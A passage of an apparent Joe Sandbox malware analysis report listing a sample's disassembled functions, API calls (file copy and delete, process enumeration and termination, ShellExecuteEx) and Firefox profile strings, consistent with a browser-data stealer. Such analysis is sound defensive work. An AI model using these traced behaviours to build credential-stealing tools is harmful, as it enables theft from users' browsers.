Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

ShellExecuteEx.SHELL32(0000003C), ref: 00416726
ExitProcess.KERNEL32 ref: 00416755

Strings

<, xrefs: 004166D9

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: b4cd0edc391b5ae1f7ca76f0c70161f1b78b8fd1119a06bee71e5bdfafbbf1ad
Instruction ID: 5b5f5c47f0bfa9475b258acd8296b8f4f2330d650783268263d73b7fdd640aa3
Opcode Fuzzy Hash: b4cd0edc391b5ae1f7ca76f0c70161f1b78b8fd1119a06bee71e5bdfafbbf1ad
Instruction Fuzzy Hash: 7F314AB1C01208ABDB14EB91DD82FDEB778AF04314F40518EF20966191DF786B89CF6A

Function 00406BE0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,@Jn@,@Jn@), ref: 00406C9F

Strings

@Jn@, xrefs: 00406C80, 00406C83
Jn@, xrefs: 00406BED, 00406C0D, 00406C8F
Jn@, xrefs: 00406C1D, 00406C39, 00406C88, 00406C98, 00406C04, 00406C28, 00406C33

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: @Jn@$Jn@$Jn@
API String ID: 544645111-1180188686
Opcode ID: caf630da144662436c325b164354e3ce96217d6286d52214ffa948e93cb1361e
Instruction ID: b746c2a28f05bbd6b1460d210bf7098c9bc173f160aa6dfc6dfdc57a011f18e7
Opcode Fuzzy Hash: caf630da144662436c325b164354e3ce96217d6286d52214ffa948e93cb1361e
Instruction Fuzzy Hash: FA213374E04208EFEB04CF84C544BAEBBB5FF48304F1181AAD54AAB381D3399A91DF85

Function 0041A920 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 47stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 0041A972
lstrcatA.KERNEL32(00000000), ref: 0041A982

Strings

vI@, xrefs: 0041A929
vI@, xrefs: 0041A937

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcatlstrcpy
String ID: vI@$vI@
API String ID: 3905823039-1245421781
Opcode ID: 944da6e453fcb66f0d11250dd24ec57f51aa285ffba2b214b4798455d692dd31
Instruction ID: 271a46469eabd2290b2e3c410fce444a88fb87627d9bf606efbbe474ae7d75ee
Opcode Fuzzy Hash: 944da6e453fcb66f0d11250dd24ec57f51aa285ffba2b214b4798455d692dd31
Instruction Fuzzy Hash: F011E878901108EFCB05EF94D885AEEB3B5FF49314F108599E825AB391C734AE92CF95

Function 00418D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0041951E,00000000), ref: 00418D5B
HeapAlloc.KERNEL32(00000000,?,?,0041951E,00000000), ref: 00418D62
wsprintfW.USER32 ref: 00418D78

Strings

%hs, xrefs: 00418D6F

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcesswsprintf
String ID: %hs
API String ID: 659108358-2783943728
Opcode ID: 308207b7b7d6c7c9756ec14eecfab78ddd1d2e288a316a00ead5d509718cb0e2
Instruction ID: e0c39cc4b97fe4de81499882959c588a1d03a161ade5b5bfa375175f6a3fb920
Opcode Fuzzy Hash: 308207b7b7d6c7c9756ec14eecfab78ddd1d2e288a316a00ead5d509718cb0e2
Instruction Fuzzy Hash: 96E08CB8A80208BFC710DBD4EC0AE697BB8EB05702F000194FE0A87280DA719E008B96

Function 040AA4C7 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 040BA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 040BA9EF

Part of subcall function 040BAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FB4,00420E17), ref: 040BAC2C
Part of subcall function 040BAC17: lstrcpy.KERNEL32(00000000), ref: 040BAC6B
Part of subcall function 040BAC17: lstrcat.KERNEL32(00000000,00000000), ref: 040BAC79

Part of subcall function 040BAB07: lstrcpy.KERNEL32(?,00420E17), ref: 040BAB6C

Part of subcall function 040B8DC7: GetSystemTime.KERNEL32(00420E1A,0064A2A4,004205AE,?,?,040A1660,?,0000001A,00420E1A,00000000,?,0064A1F0,?,00424FB4,00420E17), ref: 040B8DED

Part of subcall function 040BAB87: lstrcpy.KERNEL32(00000000,?), ref: 040BABD9
Part of subcall function 040BAB87: lstrcat.KERNEL32(00000000), ref: 040BABE9

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 040AA548
lstrlen.KERNEL32(00000000,00000000), ref: 040AA666
lstrlen.KERNEL32(00000000), ref: 040AA923

Part of subcall function 040BAA07: lstrcpy.KERNEL32(?,00000000), ref: 040BAA4D

Part of subcall function 040AA077: memcmp.MSVCRT(?,00421264,00000003), ref: 040AA094

DeleteFileA.KERNEL32(00000000), ref: 040AA9AA

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTimememcmp
String ID:
API String ID: 257331557-0
Opcode ID: 725788eba44463d4c513e2756b6ea09236ad55c473157db14b89c348e9807f7b
Instruction ID: ced6144387468d3576a1f3fb0eef8d894c8ab0e2acb6a4bce540f566bf4af59e
Opcode Fuzzy Hash: 725788eba44463d4c513e2756b6ea09236ad55c473157db14b89c348e9807f7b
Instruction Fuzzy Hash: A1E12272A10108ABDB19FBA4DD90DEEB339AF5430CF548159E196B2091EF347B48CFA5

Function 0040A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,024B9798,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040A2E1
lstrlenA.KERNEL32(00000000,00000000), ref: 0040A3FF
lstrlenA.KERNEL32(00000000), ref: 0040A6BC

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

DeleteFileA.KERNEL32(00000000), ref: 0040A743

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTimememcmp
String ID:
API String ID: 257331557-0
Opcode ID: de670670cf904c9c927a51a929ed92d79dee4ce31803c7dcd1d260c6cdf7ea42
Instruction ID: ddd88d02e0d3355bf8470c19a8c4de6788c323a7c51f3fd4630425147b47cfd6
Opcode Fuzzy Hash: de670670cf904c9c927a51a929ed92d79dee4ce31803c7dcd1d260c6cdf7ea42
Instruction Fuzzy Hash: 85E134728111089ACB04FBA5DD91EEE733CAF14314F50815EF51672091EF386A9ECB7A

Function 040AD667 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 040BA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 040BA9EF

Part of subcall function 040BAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FB4,00420E17), ref: 040BAC2C
Part of subcall function 040BAC17: lstrcpy.KERNEL32(00000000), ref: 040BAC6B
Part of subcall function 040BAC17: lstrcat.KERNEL32(00000000,00000000), ref: 040BAC79

Part of subcall function 040BAB07: lstrcpy.KERNEL32(?,00420E17), ref: 040BAB6C

Part of subcall function 040B8DC7: GetSystemTime.KERNEL32(00420E1A,0064A2A4,004205AE,?,?,040A1660,?,0000001A,00420E1A,00000000,?,0064A1F0,?,00424FB4,00420E17), ref: 040B8DED

Part of subcall function 040BAB87: lstrcpy.KERNEL32(00000000,?), ref: 040BABD9
Part of subcall function 040BAB87: lstrcat.KERNEL32(00000000), ref: 040BABE9

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 040AD6E8
lstrlen.KERNEL32(00000000), ref: 040AD8FF
lstrlen.KERNEL32(00000000), ref: 040AD913
DeleteFileA.KERNEL32(00000000), ref: 040AD992

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 2bccf2adba0c6573149dfae4533d97fd852c73f86cd25f235fac12d5c73a1e08
Instruction ID: 1e53f0777a4d81ab7fb935df2fb82bf691f4f5dc3d4c6a50487fd72ec3a2d225
Opcode Fuzzy Hash: 2bccf2adba0c6573149dfae4533d97fd852c73f86cd25f235fac12d5c73a1e08
Instruction Fuzzy Hash: 13911F72A10208ABDB18FBA4DD90DEE7339AF5420CF54416DE196B2090EF747B48CFA5

Function 0040D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,024B9798,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040D481
lstrlenA.KERNEL32(00000000), ref: 0040D698
lstrlenA.KERNEL32(00000000), ref: 0040D6AC
DeleteFileA.KERNEL32(00000000), ref: 0040D72B

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 58ef4cafaffe2497abfaa00a1ba11a8901acf803780b8d31dff15c3066b05c83
Instruction ID: 265a03a5026cdf5fd4b8160f1a7263b5072f0f83edca8c83d8fca220a3e7f1c0
Opcode Fuzzy Hash: 58ef4cafaffe2497abfaa00a1ba11a8901acf803780b8d31dff15c3066b05c83
Instruction Fuzzy Hash: 8A9145719111089BCB04FBA1DD92EEE7339AF14318F50452EF50772091EF386A9ACB7A

Function 040AD9E7 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 040BA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 040BA9EF

Part of subcall function 040BAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FB4,00420E17), ref: 040BAC2C
Part of subcall function 040BAC17: lstrcpy.KERNEL32(00000000), ref: 040BAC6B
Part of subcall function 040BAC17: lstrcat.KERNEL32(00000000,00000000), ref: 040BAC79

Part of subcall function 040BAB07: lstrcpy.KERNEL32(?,00420E17), ref: 040BAB6C

Part of subcall function 040B8DC7: GetSystemTime.KERNEL32(00420E1A,0064A2A4,004205AE,?,?,040A1660,?,0000001A,00420E1A,00000000,?,0064A1F0,?,00424FB4,00420E17), ref: 040B8DED

Part of subcall function 040BAB87: lstrcpy.KERNEL32(00000000,?), ref: 040BABD9
Part of subcall function 040BAB87: lstrcat.KERNEL32(00000000), ref: 040BABE9

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 040ADA68
lstrlen.KERNEL32(00000000), ref: 040ADC06
lstrlen.KERNEL32(00000000), ref: 040ADC1A
DeleteFileA.KERNEL32(00000000), ref: 040ADC99

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 75d72e7265c2b0bcdfeb4fd8a00493fe315c357100f507a1e1d65a562648f628
Instruction ID: 652f27b9af69d57b2953b578b4b7e30d1bc5ae09e274c891c0f8d834af19c3ad
Opcode Fuzzy Hash: 75d72e7265c2b0bcdfeb4fd8a00493fe315c357100f507a1e1d65a562648f628
Instruction Fuzzy Hash: C9811C72A10208ABDB08FBE4DD94DEE7339AF5420CF544569E196B2090EF747A48CFA5

Function 0040D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,024B9798,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040D801
lstrlenA.KERNEL32(00000000), ref: 0040D99F
lstrlenA.KERNEL32(00000000), ref: 0040D9B3
DeleteFileA.KERNEL32(00000000), ref: 0040DA32

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 45a8e2ffbbbbce1f6d79d82263585e2ee75481ad9d2b77eb8bb546676890c79b
Instruction ID: 30f7704c13366a17925c5eaa4a94e79927efa66a8a92483c7baa761e0d0dbf9b
Opcode Fuzzy Hash: 45a8e2ffbbbbce1f6d79d82263585e2ee75481ad9d2b77eb8bb546676890c79b
Instruction Fuzzy Hash: 848122719111089BCB04FBE1DD52EEE7339AF14314F50452EF407A6091EF386A9ACB7A

Function 0040F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00421580,00420D92), ref: 0040F54C
lstrlenA.KERNEL32(00000000), ref: 0040F56B

Strings

moz-extension+++, xrefs: 0040F5AD
^userContextId=4294967295, xrefs: 0040F59C

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 764425abfb5a9061e9931e0f88fc4c66e20ec6cd90a7d0511f203d9c21200adc
Instruction ID: 431312e06e4e118a9a68feb07ac8eaa96768a2afdec7ba1937323e72019175af
Opcode Fuzzy Hash: 764425abfb5a9061e9931e0f88fc4c66e20ec6cd90a7d0511f203d9c21200adc
Instruction Fuzzy Hash: 19516575D11108AACB04FBB1DC52DED7338AF54314F40852EF81667191EE386B9ACBAA

Function 040B9737 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 040B9752

Part of subcall function 040B8FB7: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,040B9785,00000000), ref: 040B8FC2
Part of subcall function 040B8FB7: RtlAllocateHeap.NTDLL(00000000), ref: 040B8FC9
Part of subcall function 040B8FB7: wsprintfW.USER32 ref: 040B8FDF

OpenProcess.KERNEL32(00001001,00000000,?), ref: 040B9812
TerminateProcess.KERNEL32(00000000,00000000), ref: 040B9830
CloseHandle.KERNEL32(00000000), ref: 040B983D

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocateCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 3729781310-0
Opcode ID: 0de5cb3b84569db27d3217fbf1ad12f67d16f90c4b13aa02d8c22dae1f7b6e71
Instruction ID: 8c69cdb4e7a3d35ada54ae9290d8a15c84230011e2a2f8133784f90953928f40
Opcode Fuzzy Hash: 0de5cb3b84569db27d3217fbf1ad12f67d16f90c4b13aa02d8c22dae1f7b6e71
Instruction Fuzzy Hash: 23314AB5E40248EFEB14DFD0CC48BEDB7B9EF44304F104458E646AA284DB786A84CF96

Function 004194D0 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004194EB

Part of subcall function 00418D50: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0041951E,00000000), ref: 00418D5B
Part of subcall function 00418D50: HeapAlloc.KERNEL32(00000000,?,?,0041951E,00000000), ref: 00418D62
Part of subcall function 00418D50: wsprintfW.USER32 ref: 00418D78

OpenProcess.KERNEL32(00001001,00000000,?), ref: 004195AB
TerminateProcess.KERNEL32(00000000,00000000), ref: 004195C9
CloseHandle.KERNEL32(00000000), ref: 004195D6

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 396451647-0
Opcode ID: 10821a0a9b0e3e9f18d0c0a89dc9fb30756029c80415081bc58457899473f0be
Instruction ID: faa3cbc47edc6d62fcde4c42a86d6f60d7c6cb9d9231cedff5acf80003c00c5b
Opcode Fuzzy Hash: 10821a0a9b0e3e9f18d0c0a89dc9fb30756029c80415081bc58457899473f0be
Instruction Fuzzy Hash: E3315C75E4020CAFDB14DFD0CD49BEDB7B9EB44300F10441AE506AA284DB78AE89CB56

Function 040B88E7 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 040BA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 040BA9EF

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004205B7), ref: 040B8931
Process32First.KERNEL32(?,00000128), ref: 040B8945
Process32Next.KERNEL32(?,00000128), ref: 040B895A

Part of subcall function 040BAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FB4,00420E17), ref: 040BAC2C
Part of subcall function 040BAC17: lstrcpy.KERNEL32(00000000), ref: 040BAC6B
Part of subcall function 040BAC17: lstrcat.KERNEL32(00000000,00000000), ref: 040BAC79

Part of subcall function 040BAB07: lstrcpy.KERNEL32(?,00420E17), ref: 040BAB6C

CloseHandle.KERNEL32(?), ref: 040B89C8

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 8b5492bb2172847200a0110b71b51f63116bc16bb71ede11aa5be0a2ca02365c
Instruction ID: 90cb1cf10861e6568165f7aca3c02e4702d3b06efd5e4f85da6b913c67736eb9
Opcode Fuzzy Hash: 8b5492bb2172847200a0110b71b51f63116bc16bb71ede11aa5be0a2ca02365c
Instruction Fuzzy Hash: 36313E72A41218ABDB24EF94DD44FEEB778EB45708F104199E149B21A0DB347A44CFE5

Function 00418680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004205B7), ref: 004186CA
Process32First.KERNEL32(?,00000128), ref: 004186DE
Process32Next.KERNEL32(?,00000128), ref: 004186F3

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

CloseHandle.KERNEL32(?), ref: 00418761

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
